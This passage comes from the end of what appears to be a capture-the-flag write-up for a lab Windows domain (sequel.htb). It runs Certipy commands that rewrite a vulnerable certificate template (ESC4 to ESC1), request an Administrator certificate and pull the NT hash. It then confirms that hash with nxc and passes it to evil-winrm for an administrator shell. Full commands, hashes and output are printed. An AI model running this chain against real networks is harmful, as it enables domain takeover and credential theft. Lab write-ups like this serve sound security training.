[*] Saved JSON output to '20250114064030_Certipy.json'
We got the results saved in a .txt and .json file as the output says.
We can get the interesting info from this file filtering by some keywords like CA Name, Template and ESC which we will need later:
❯ cat 20250114064030_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : sequel-DC01-CA
Template Name : DunderMifflinAuthentication
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
We have a template with name DunderMifflinAuthentication with some dangerous permissions.
Based on the output, this is a domain escalation labeled as ESC4. we can see how to abuse this going to Certify Github page for ESC4, where they explain how to abuse it. Basically, we can overwrite the configuration of this certificate. For this we can run:
❯ certipy template -username ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -dc-ip 10.10.11.51 -target dc01.sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'
Now this certificate should be vulnerable to ESC1. We can now follow these instructions to request a certificate for Administrator user:
❯ certipy req -u ca_svc -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with multiple identifications
UPN: 'administrator@sequel.htb'
DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
This should generate a .pfx (certificate) file.
Use this .pfx file to extract Administrator NT hash:
❯ certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@sequel.htb'
[1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
We got a hash for Administrator user
We check if this hash works for Administrator user:
❯ nxc smb DC01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)
It works. And it’s for a privileged user as Pwn3d! message is shown for SMB service. GG.
Connect to the victim machine using this hash and a service like WinRM with evil-winrm performing a Pass The Hash (PtH):
❯ evil-winrm -i dc01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
We can read root.txt flag at Administrator Desktop.
~Happy Hacking.